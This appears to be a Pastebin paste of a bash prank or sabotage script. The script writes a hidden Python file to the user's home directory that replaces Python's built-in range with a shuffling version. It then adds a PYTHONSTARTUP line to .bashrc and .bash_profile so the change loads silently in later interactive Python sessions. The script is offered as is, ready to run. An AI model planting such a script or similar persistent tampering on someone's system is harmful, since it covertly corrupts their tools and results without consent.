Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- OUTFILE=~/.illiteration.py
- (
- cat <<'EOF'
- from random import shuffle
- try:
- import __builtin__ as builtins
- except ImportError:
- import builtins
- _range = range
- def randomly(low, high=None):
- if high is None:
- high = low
- low = 0
- lst = _range(low, high)
- shuffle(lst)
- return lst
- builtins.range = randomly
- EOF
- ) > $OUTFILE
- echo "export PYTHONSTARTUP=$OUTFILE" >> ~/.bashrc
- echo "export PYTHONSTARTUP=$OUTFILE" >> ~/.bash_profile
Advertisement
Add Comment
Please, Sign In to add comment